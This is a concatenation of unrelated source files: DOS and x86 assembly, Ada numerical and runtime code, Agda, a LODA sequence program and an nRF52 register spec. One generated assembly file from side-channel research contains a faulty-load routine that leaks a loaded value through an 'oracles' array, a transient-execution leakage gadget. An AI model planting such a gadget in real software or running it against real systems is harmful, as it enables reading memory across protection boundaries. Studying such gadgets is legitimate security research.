CMP AL, "A" ; compare AL with "A"
JB @DECIMAL ; jump to label @DECIMAL if AL<A
CMP AL, "F" ; compare AL with "F"
JA @START_1 ; jump to label @START_1 if AL>F
ADD AL, 09H ; add 9 to AL
JMP @OK ; jump to label @OK
@DECIMAL: ; jump label
CMP AL, 30H ; compare AL with 0
JB @START_1 ; jump to label @START_1 if AL<0
CMP AL, 39H ; compare AL with 9
JA @START_1 ; jump to label @START_1 if AL>9
@OK: ; jump label
INC COUNT ; increment the COUNT variable
AND AL, 0FH ; convert the ascii into binary code
MOV CL, 4 ; set CL=4
SHL AL, CL ; shift AL towards left by 4 positions
MOV CX, 4 ; set CX=4
@LOOP_1: ; loop label
SHL AL, 1 ; shift AL towards left by 1 position
RCL BX, 1 ; rotate BX towards left by 1 position
; through carry
LOOP @LOOP_1 ; jump to label @LOOP_1 if CX!=0
CMP COUNT, 34H ; compare COUNT with 4
JE @END ; jump to label @END if COUNT=4
JMP @START_2 ; jump to label @START_2
@END: ; jump label
LEA DX, PROMPT_2 ; load and display the string PROMPT_2
MOV AH, 9
INT 21H
MOV CX, 16 ; set CX=16
MOV AH, 2 ; set output function
@LOOP_2: ; loop label
SHL BX, 1 ; shift BX towards left by 1 position
JC @ONE ; jump to label @ONE if CF=1
MOV DL, 30H ; set DL=0
JMP @DISPLAY ; jump to label @DISPLAY
@ONE: ; jump label
MOV DL, 31H ; set DL=1
@DISPLAY: ; jump label
INT 21H ; display a character
LOOP @LOOP_2 ; jump to label @LOOP_2 if CX!=0
MOV AH, 4CH ; return control to DOS
INT 21H
MAIN ENDP
END MAIN
|
ide/paillier_cec1302.asm | takyrajdr/paillier | 0 | 1336 | _main:
;paillier_cec1302.c,1 :: void main() {
;paillier_cec1302.c,3 :: }
L_end_main:
L__main_end_loop:
B L__main_end_loop
; end of _main
|
src/rootfinding/NewtSafe.adb | deboradeben/numerical-veliz | 73 | 30297 | <reponame>deboradeben/numerical-veliz
-----------------------------------------
-- Example Newton-Bisection Hybrid
-- Root-Finding Method created by
-- <NAME> based off of NewtSafe from
-- https://www.ldeo.columbia.edu/~mspieg/e4300/BlankPDFs/Lecture06_blank.pdf
-- and rtsafe from Numerical Recipies in C p.366-367 and
-- Numerical Methods That Work by Acton p.51-52
-- www.youtube.com/OscarVeliz
-----------------------------------------
with Ada.Text_IO; use Ada.Text_IO;
with Ada.Integer_Text_IO; use Ada.Integer_Text_IO;
with Ada.Float_Text_IO; use Ada.Float_Text_IO;
with Ada.Task_Identification; use Ada.Task_Identification;
with Ada.Numerics.Generic_Elementary_Functions;
procedure NewtSafe is
---------------------
-- f(x) = x^3 - x^2 - x - 1
---------------------
function f (x: Float) return Float is
begin
return x**3 - x**2 - x - 1.0;
end;
-------------------
-- f'(x) = 3x^2 - 2x - 1
-------------------
function fp (x: Float) return Float is
begin
return 3.0*x*x - 2.0*x - 1.0;
end;
----------
-- Regular Newton's Method (unsafe)
----------
function newt (xinit: Float) return Float is
x: Float := xinit;
eps: Float := 10.0**(-6);
begin
while abs(f(x)) > eps loop
put(x,2,6,0);put_line("");
x := x - f(x) / fp(x);
end loop;
return x;
end;
-- header so forceBis can call hybrid
function hybrid (inita, initb: Float) return Float;
----------
-- Bisection between a and b then restart Hybrid
----------
function forceBis(a, b: Float) return Float is
c: Float := (a + b) / 2.0;
begin
--put_line("forced bisection");
if f(a) * f(c) < 0.0 then -- fa & fc have different signs
return hybrid(a, c);
else
return hybrid(c, b);
end if;
end;
----------
-- Newton-Bisection Hybrid, inita and initb specify interval
----------
function hybrid (inita, initb: Float) return Float is
x, fa, fb, fx, fpx, oldx, lastStep: Float;
a: Float := inita;
b: Float := initb;
eps: Float := 10.0**(-6);
begin
if(a > b) then --ensure a is on left, swap
a := initb;
b := inita;
end if;
if a = b then
return a;
end if;
-- check interval points
fa := f(a);
fb := f(b);
if fa = 0.0 then
return a;
end if;
if fb = 0.0 then
return b;
end if;
if fa * fb > 0.0 then -- invalid interval
put_line("error: interval must contain root.");
Abort_Task (Current_Task);
end if;
lastStep := b - a;
oldx := b; -- intitial oldx is on boundary
x := (a + b) / 2.0; -- start from midpoint
fx := f(x);
while abs(fx) > eps loop
put(x,2,6,0);put_line("");
fpx := fp(x);
if fpx = 0.0 then -- avoid divide by zero
return forceBis(a,b);
end if;
lastStep := abs(x - oldx);
if abs(fx * 2.0) > abs(lastStep * fpx) then -- decreasing slowly
--put_line("too slow");
return forceBis(a,b);
end if;
oldx := x;
x := x - fx / fpx;
if x = oldx then -- converged
return x;
end if;
if x <= a or else x >= b then -- avoid going outside interval
--put_line("outside interval");
return forceBis(a,b);
end if;
--shrink interval
fx := f(x);
if fx * fa < 0.0 then
b:= x;
fb:= fx;
else
a:= x;
fa:= fx;
end if;
end loop;
return x;
end;
begin --main--
put_line("Newton's Method");
put(newt(1.5),2,6,0); put_line("");
put_line("Newt-Safe");
put(hybrid(1.0,2.0),2,6,0); put_line("");
end NewtSafe;
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_272.asm | ljhsiun2/medusa | 9 | 94214 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x146b1, %rsi
lea addresses_D_ht+0x17331, %rdi
clflush (%rsi)
nop
xor $2821, %r14
mov $70, %rcx
rep movsq
nop
nop
nop
nop
nop
xor $24388, %r9
lea addresses_A_ht+0x13d51, %r11
nop
cmp $38825, %r14
movb (%r11), %r9b
nop
nop
inc %rdi
lea addresses_UC_ht+0x10581, %rcx
nop
nop
nop
dec %r9
mov $0x6162636465666768, %r14
movq %r14, %xmm6
vmovups %ymm6, (%rcx)
sub %rcx, %rcx
lea addresses_normal_ht+0x7031, %rsi
lea addresses_A_ht+0x18df1, %rdi
nop
nop
and %rbp, %rbp
mov $93, %rcx
rep movsq
nop
nop
nop
and $33276, %rdi
lea addresses_UC_ht+0x168a9, %rsi
lea addresses_D_ht+0x135f7, %rdi
nop
nop
nop
and %r14, %r14
mov $111, %rcx
rep movsl
nop
nop
nop
nop
dec %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %rcx
push %rdi
// Load
lea addresses_D+0x99b1, %r14
xor $54379, %r10
movups (%r14), %xmm6
vpextrq $1, %xmm6, %rcx
nop
nop
nop
sub %r10, %r10
// Faulty Load
lea addresses_PSE+0x10831, %r10
nop
nop
nop
nop
sub $56595, %rcx
mov (%r10), %di
lea oracles, %rcx
and $0xff, %rdi
shlq $12, %rdi
mov (%rcx,%rdi,1), %rdi
pop %rdi
pop %rcx
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_D', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 6, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32}}
{'src': {'same': False, 'congruent': 11, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}}
{'src': {'same': False, 'congruent': 2, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
gcc-gcc-7_3_0-release/gcc/ada/a-tienio.ads | best08618/asylo | 7 | 13462 | ------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME COMPONENTS --
-- --
-- A D A . T E X T _ I O . E N U M E R A T I O N _ I O --
-- --
-- S p e c --
-- --
-- This specification is derived from the Ada Reference Manual for use with --
-- GNAT. In accordance with the copyright of that document, you can freely --
-- copy and modify this specification, provided that if you redistribute a --
-- modified version, any changes that you have made are clearly indicated. --
-- --
------------------------------------------------------------------------------
-- In Ada 95, the package Ada.Text_IO.Enumeration_IO is a subpackage of
-- Text_IO. This is for compatibility with Ada 83. In GNAT we make it a
-- child package to avoid loading the necessary code if Enumeration_IO is
-- not instantiated. See routine Rtsfind.Check_Text_IO_Special_Unit for a
-- description of how we patch up the difference in semantics so that it
-- is invisible to the Ada programmer.
private generic
type Enum is (<>);
package Ada.Text_IO.Enumeration_IO is
Default_Width : Field := 0;
Default_Setting : Type_Set := Upper_Case;
procedure Get (File : File_Type; Item : out Enum);
procedure Get (Item : out Enum);
procedure Put
(File : File_Type;
Item : Enum;
Width : Field := Default_Width;
Set : Type_Set := Default_Setting);
procedure Put
(Item : Enum;
Width : Field := Default_Width;
Set : Type_Set := Default_Setting);
procedure Get
(From : String;
Item : out Enum;
Last : out Positive);
procedure Put
(To : out String;
Item : Enum;
Set : Type_Set := Default_Setting);
end Ada.Text_IO.Enumeration_IO;
|
programs/oeis/186/A186681.asm | karttu/loda | 0 | 178052 | ; A186681: Total number of n-digit numbers requiring 17 positive biquadrates in their representation as sum of biquadrates.
; 0,3,30,30,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
sub $0,1
mul $0,2
mov $1,1
mov $3,2
lpb $0,1
mov $2,6
mov $3,$0
mov $0,0
bin $2,$3
mov $1,$2
mov $3,$2
lpe
sub $0,$3
sub $1,$0
|
src/new.asm | cmounce/all-purpose-tsr | 0 | 17396 | ; Functionality for creating new TSRs
%include 'system.asm'
;-------------------------------------------------------------------------------
; Code
;-------------------------------------------------------------------------------
section .text
; Write a new TSR to a file.
create_new_tsr:
push bx
push si
; General flow:
; - For each option on command line, add that item to the bundle in memory
; - Open file as new file for writing
; - Copy from memory to file
; Before we begin, make sure we have an output file
cmp word [parsed_options.output], 0
begin_if e
die EXIT_BAD_ARGS, "Output file not provided"
end_if
; Build our bundle
call build_new_bundle
mov si, cx
; Create new file and save handle in BX
mov dx, [parsed_options.output]
call dos_create_new_file
begin_if c
die EXIT_ERROR, "Couldn't create file"
end_if
mov bx, ax ; BX = file handle
; Write program code to file
mov ah, 40h
; TODO: Create a global file with memory layout defines?
mov dx, 100h ; End of PSP
mov cx, start_of_bundle - 100h ; Copy program code up to bundle
int 21h
; TODO: It would be slightly more correct to check AX == CX as well
begin_if c
die EXIT_ERROR, "Couldn't write to file"
end_if
; Write bundle data to file
mov ah, 40h
mov dx, global_buffer ; DX = start of bundle to write
mov cx, si ; CX = size of bundle
int 21h
begin_if c
; TODO: Combine error messages/move this to a helper function
die EXIT_ERROR, "Couldn't write to file"
end_if
; Close file
call dos_close_file
begin_if c
die EXIT_ERROR, "Couldn't close file"
end_if
pop si
pop bx
ret
;-------------------------------------------------------------------------------
; Internal helpers
;-------------------------------------------------------------------------------
section .text
; Build a new bundle in global_buffer based on the parsed command-line args.
;
; Returns CX = size of the bundle in bytes
build_new_bundle:
push bx
push di
push si
mov di, global_buffer
; Add palette to the buffer, if specified
mov dx, [parsed_options.palette]
cmp dx, 0
begin_if ne
; Copy key "PALETTE" to buffer
mov si, bundle_keys.palette
call copy_wstring
next_wstring di
; Copy palette data to buffer
mov si, [parsed_options.palette]
mov cx, 48 + 1 ; Read extra byte to detect too-large palettes
mov dx, si ; DX = path to palette file
call read_wstring_from_path
begin_if c
die EXIT_ERROR, "Error reading %s", si
end_if
; Validate palette data
mov si, di
call validate_palette_wstring
begin_if c
die EXIT_ERROR, "Invalid palette: %s", word [parsed_options.palette]
end_if
next_wstring di
end_if
; Add font to the buffer, if specified
mov dx, [parsed_options.font]
cmp dx, 0
begin_if ne
; Copy key "FONT" to buffer
mov si, bundle_keys.font
call copy_wstring
next_wstring di
; Copy font data to buffer
mov dx, [parsed_options.font]
call read_font_from_path
next_wstring di
end_if
; Add secondary font to the buffer, if specified
mov dx, [parsed_options.font2]
cmp dx, 0
begin_if ne
; Verify that a primary font was specified
cmp word [parsed_options.font], 0
begin_if e
die EXIT_ERROR, "Can't use /F2 without /F"
end_if
; Copy key "FONT2" to buffer
mov si, bundle_keys.font2
call copy_wstring
next_wstring di
; Copy font data to buffer
mov dx, [parsed_options.font2]
call read_font_from_path
next_wstring di
end_if
; Set blink mode
mov dx, [parsed_options.blink]
cmp dx, 0
begin_if ne
; Copy key "BLINK" to buffer
mov si, bundle_keys.blink
call copy_wstring
next_wstring di
; Write boolean to buffer
mov si, [parsed_options.blink]
call parse_blink_mode
begin_if c
die EXIT_BAD_ARGS, "/B must be either ON or OFF"
end_if
mov word [di], 0 ; Write header for empty wstring
call concat_byte_wstring ; Append boolean byte
next_wstring di
end_if
; Terminate wstring list
mov word [di], 0
lea cx, [di + 2] ; CX = end of buffer - start of buffer
sub cx, global_buffer
pop si
pop di
pop bx
ret
; Read a font file into memory as a wstring
;
; DX = path to font file
; DI = location to write font data
read_font_from_path:
push bx
push si
; Save path so we can reference it multiple times
mov bx, dx
; Read font data
mov cx, 32*256 + 1 ; Max font size is at 32 bytes/character
call read_wstring_from_path
begin_if c
die EXIT_ERROR, "Error reading %s", bx
end_if
; Validate font data
mov si, di
call validate_font_wstring
begin_if c
die EXIT_ERROR, "Invalid font: %s", bx
end_if
pop si
pop bx
ret
; Open a file and read its contents into a wstring
;
; CX = maximum bytes to read
; DX = wstring containing a path to a file
; DI = location to write the result
; Sets CF on failure.
read_wstring_from_path:
push bx
; Open file and set BX = handle
push cx ; Don't overwrite our argument CX
call dos_open_existing_file
pop cx
jc .ret ; Open failed: forward CF to caller
mov bx, ax
; Read CX bytes from handle
call read_wstring_from_handle
begin_if c
; Read failed
call dos_close_file ; Attempt to clean up, but make sure
stc ; we still return failure.
else
; Read succeeded: clean up
call dos_close_file
end_if
.ret:
pop bx
ret
; Read bytes from a file into a wstring
;
; BX = file handle to read from
; CX = maximum number of bytes to read
; DI = location to write the wstring
; Sets CF on failure.
read_wstring_from_handle:
mov ah, 3fh ; DOS read from handle
lea dx, [di + 2] ; DX = pointer to wstring data
int 21h
begin_if c
ret ; Error: forward CF to caller
end_if
mov [di], ax ; Write actual number of bytes to wstring header
; Return successful.
; We don't need `clc` because CF should still be clear from the DOS call.
ret
; Translates a blink-mode string into a boolean value.
;
; SI = blink-mode wstring ("off" or "on")
; Returns AL = 0 or 1.
; Sets CF on failure.
parse_blink_mode:
push di
mov di, arg_option_values.off
call icmp_wstring
begin_if e
mov al, 0
else
mov di, arg_option_values.on
call icmp_wstring
if e
mov al, 1
else
stc ; Neither "on" nor "off": return an error
jmp .ret
end_if
.ret:
pop di
ret
|
src/Categories/Category/Instance/EmptySet.agda | MirceaS/agda-categories | 0 | 16691 | <filename>src/Categories/Category/Instance/EmptySet.agda
{-# OPTIONS --without-K --safe #-}
open import Level
-- This is really a degenerate version of Categories.Category.Instance.Zero
-- Here EmptySet is not given an explicit name, it is an alias for Lift o ⊥
module Categories.Category.Instance.EmptySet where
open import Data.Empty using (⊥; ⊥-elim)
open import Relation.Binary.PropositionalEquality using (refl)
open import Categories.Category.Instance.Sets
import Categories.Object.Initial as Init
module _ {o : Level} where
open Init (Sets o)
EmptySet-⊥ : Initial
EmptySet-⊥ = record { ⊥ = Lift o ⊥ ; ! = λ { {A} (lift x) → ⊥-elim x } ; !-unique = λ { f {()} } }
|
arch/ARM/Nordic/svd/nrf52/nrf_svd-rtc.ads | rocher/Ada_Drivers_Library | 192 | 9304 | <reponame>rocher/Ada_Drivers_Library
-- Copyright (c) 2010 - 2018, Nordic Semiconductor ASA
--
-- All rights reserved.
--
-- Redistribution and use in source and binary forms, with or without modification,
-- are permitted provided that the following conditions are met:
--
-- 1. Redistributions of source code must retain the above copyright notice, this
-- list of conditions and the following disclaimer.
--
-- 2. Redistributions in binary form, except as embedded into a Nordic
-- Semiconductor ASA integrated circuit in a product or a software update for
-- such product, must reproduce the above copyright notice, this list of
-- conditions and the following disclaimer in the documentation and/or other
-- materials provided with the distribution.
--
-- 3. Neither the name of Nordic Semiconductor ASA nor the names of its
-- contributors may be used to endorse or promote products derived from this
-- software without specific prior written permission.
--
-- 4. This software, with or without modification, must only be used with a
-- Nordic Semiconductor ASA integrated circuit.
--
-- 5. Any software provided in binary form under this license must not be reverse
-- engineered, decompiled, modified and/or disassembled.
--
-- THIS SOFTWARE IS PROVIDED BY NORDIC SEMICONDUCTOR ASA "AS IS" AND ANY EXPRESS
-- OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
-- OF MERCHANTABILITY, NONINFRINGEMENT, AND FITNESS FOR A PARTICULAR PURPOSE ARE
-- DISCLAIMED. IN NO EVENT SHALL NORDIC SEMICONDUCTOR ASA OR CONTRIBUTORS BE
-- LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-- CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
-- GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
-- HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
-- LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
-- OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
--
-- This spec has been automatically generated from nrf52.svd
pragma Restrictions (No_Elaboration_Code);
pragma Ada_2012;
pragma Style_Checks (Off);
with HAL;
with System;
package NRF_SVD.RTC is
pragma Preelaborate;
---------------
-- Registers --
---------------
-- Description collection[0]: Compare event on CC[0] match
-- Description collection[0]: Compare event on CC[0] match
type EVENTS_COMPARE_Registers is array (0 .. 3) of HAL.UInt32;
-- Write '1' to Enable interrupt for TICK event
type INTENSET_TICK_Field is
(-- Read: Disabled
Disabled,
-- Read: Enabled
Enabled)
with Size => 1;
for INTENSET_TICK_Field use
(Disabled => 0,
Enabled => 1);
-- Write '1' to Enable interrupt for TICK event
type INTENSET_TICK_Field_1 is
(-- Reset value for the field
Intenset_Tick_Field_Reset,
-- Enable
Set)
with Size => 1;
for INTENSET_TICK_Field_1 use
(Intenset_Tick_Field_Reset => 0,
Set => 1);
-- Write '1' to Enable interrupt for OVRFLW event
type INTENSET_OVRFLW_Field is
(-- Read: Disabled
Disabled,
-- Read: Enabled
Enabled)
with Size => 1;
for INTENSET_OVRFLW_Field use
(Disabled => 0,
Enabled => 1);
-- Write '1' to Enable interrupt for OVRFLW event
type INTENSET_OVRFLW_Field_1 is
(-- Reset value for the field
Intenset_Ovrflw_Field_Reset,
-- Enable
Set)
with Size => 1;
for INTENSET_OVRFLW_Field_1 use
(Intenset_Ovrflw_Field_Reset => 0,
Set => 1);
-- Write '1' to Enable interrupt for COMPARE[0] event
type INTENSET_COMPARE0_Field is
(-- Read: Disabled
Disabled,
-- Read: Enabled
Enabled)
with Size => 1;
for INTENSET_COMPARE0_Field use
(Disabled => 0,
Enabled => 1);
-- Write '1' to Enable interrupt for COMPARE[0] event
type INTENSET_COMPARE0_Field_1 is
(-- Reset value for the field
Intenset_Compare0_Field_Reset,
-- Enable
Set)
with Size => 1;
for INTENSET_COMPARE0_Field_1 use
(Intenset_Compare0_Field_Reset => 0,
Set => 1);
-- INTENSET_COMPARE array
type INTENSET_COMPARE_Field_Array is array (0 .. 3)
of INTENSET_COMPARE0_Field_1
with Component_Size => 1, Size => 4;
-- Type definition for INTENSET_COMPARE
type INTENSET_COMPARE_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- COMPARE as a value
Val : HAL.UInt4;
when True =>
-- COMPARE as an array
Arr : INTENSET_COMPARE_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for INTENSET_COMPARE_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- Enable interrupt
type INTENSET_Register is record
-- Write '1' to Enable interrupt for TICK event
TICK : INTENSET_TICK_Field_1 := Intenset_Tick_Field_Reset;
-- Write '1' to Enable interrupt for OVRFLW event
OVRFLW : INTENSET_OVRFLW_Field_1 := Intenset_Ovrflw_Field_Reset;
-- unspecified
Reserved_2_15 : HAL.UInt14 := 16#0#;
-- Write '1' to Enable interrupt for COMPARE[0] event
COMPARE : INTENSET_COMPARE_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_20_31 : HAL.UInt12 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for INTENSET_Register use record
TICK at 0 range 0 .. 0;
OVRFLW at 0 range 1 .. 1;
Reserved_2_15 at 0 range 2 .. 15;
COMPARE at 0 range 16 .. 19;
Reserved_20_31 at 0 range 20 .. 31;
end record;
-- Write '1' to Disable interrupt for TICK event
type INTENCLR_TICK_Field is
(-- Read: Disabled
Disabled,
-- Read: Enabled
Enabled)
with Size => 1;
for INTENCLR_TICK_Field use
(Disabled => 0,
Enabled => 1);
-- Write '1' to Disable interrupt for TICK event
type INTENCLR_TICK_Field_1 is
(-- Reset value for the field
Intenclr_Tick_Field_Reset,
-- Disable
Clear)
with Size => 1;
for INTENCLR_TICK_Field_1 use
(Intenclr_Tick_Field_Reset => 0,
Clear => 1);
-- Write '1' to Disable interrupt for OVRFLW event
type INTENCLR_OVRFLW_Field is
(-- Read: Disabled
Disabled,
-- Read: Enabled
Enabled)
with Size => 1;
for INTENCLR_OVRFLW_Field use
(Disabled => 0,
Enabled => 1);
-- Write '1' to Disable interrupt for OVRFLW event
type INTENCLR_OVRFLW_Field_1 is
(-- Reset value for the field
Intenclr_Ovrflw_Field_Reset,
-- Disable
Clear)
with Size => 1;
for INTENCLR_OVRFLW_Field_1 use
(Intenclr_Ovrflw_Field_Reset => 0,
Clear => 1);
-- Write '1' to Disable interrupt for COMPARE[0] event
type INTENCLR_COMPARE0_Field is
(-- Read: Disabled
Disabled,
-- Read: Enabled
Enabled)
with Size => 1;
for INTENCLR_COMPARE0_Field use
(Disabled => 0,
Enabled => 1);
-- Write '1' to Disable interrupt for COMPARE[0] event
type INTENCLR_COMPARE0_Field_1 is
(-- Reset value for the field
Intenclr_Compare0_Field_Reset,
-- Disable
Clear)
with Size => 1;
for INTENCLR_COMPARE0_Field_1 use
(Intenclr_Compare0_Field_Reset => 0,
Clear => 1);
-- INTENCLR_COMPARE array
type INTENCLR_COMPARE_Field_Array is array (0 .. 3)
of INTENCLR_COMPARE0_Field_1
with Component_Size => 1, Size => 4;
-- Type definition for INTENCLR_COMPARE
type INTENCLR_COMPARE_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- COMPARE as a value
Val : HAL.UInt4;
when True =>
-- COMPARE as an array
Arr : INTENCLR_COMPARE_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for INTENCLR_COMPARE_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- Disable interrupt
type INTENCLR_Register is record
-- Write '1' to Disable interrupt for TICK event
TICK : INTENCLR_TICK_Field_1 := Intenclr_Tick_Field_Reset;
-- Write '1' to Disable interrupt for OVRFLW event
OVRFLW : INTENCLR_OVRFLW_Field_1 := Intenclr_Ovrflw_Field_Reset;
-- unspecified
Reserved_2_15 : HAL.UInt14 := 16#0#;
-- Write '1' to Disable interrupt for COMPARE[0] event
COMPARE : INTENCLR_COMPARE_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_20_31 : HAL.UInt12 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for INTENCLR_Register use record
TICK at 0 range 0 .. 0;
OVRFLW at 0 range 1 .. 1;
Reserved_2_15 at 0 range 2 .. 15;
COMPARE at 0 range 16 .. 19;
Reserved_20_31 at 0 range 20 .. 31;
end record;
-- Enable or disable event routing for TICK event
type EVTEN_TICK_Field is
(-- Disable
Disabled,
-- Enable
Enabled)
with Size => 1;
for EVTEN_TICK_Field use
(Disabled => 0,
Enabled => 1);
-- Enable or disable event routing for OVRFLW event
type EVTEN_OVRFLW_Field is
(-- Disable
Disabled,
-- Enable
Enabled)
with Size => 1;
for EVTEN_OVRFLW_Field use
(Disabled => 0,
Enabled => 1);
-- Enable or disable event routing for COMPARE[0] event
type EVTEN_COMPARE0_Field is
(-- Disable
Disabled,
-- Enable
Enabled)
with Size => 1;
for EVTEN_COMPARE0_Field use
(Disabled => 0,
Enabled => 1);
-- EVTEN_COMPARE array
type EVTEN_COMPARE_Field_Array is array (0 .. 3) of EVTEN_COMPARE0_Field
with Component_Size => 1, Size => 4;
-- Type definition for EVTEN_COMPARE
type EVTEN_COMPARE_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- COMPARE as a value
Val : HAL.UInt4;
when True =>
-- COMPARE as an array
Arr : EVTEN_COMPARE_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for EVTEN_COMPARE_Field use record
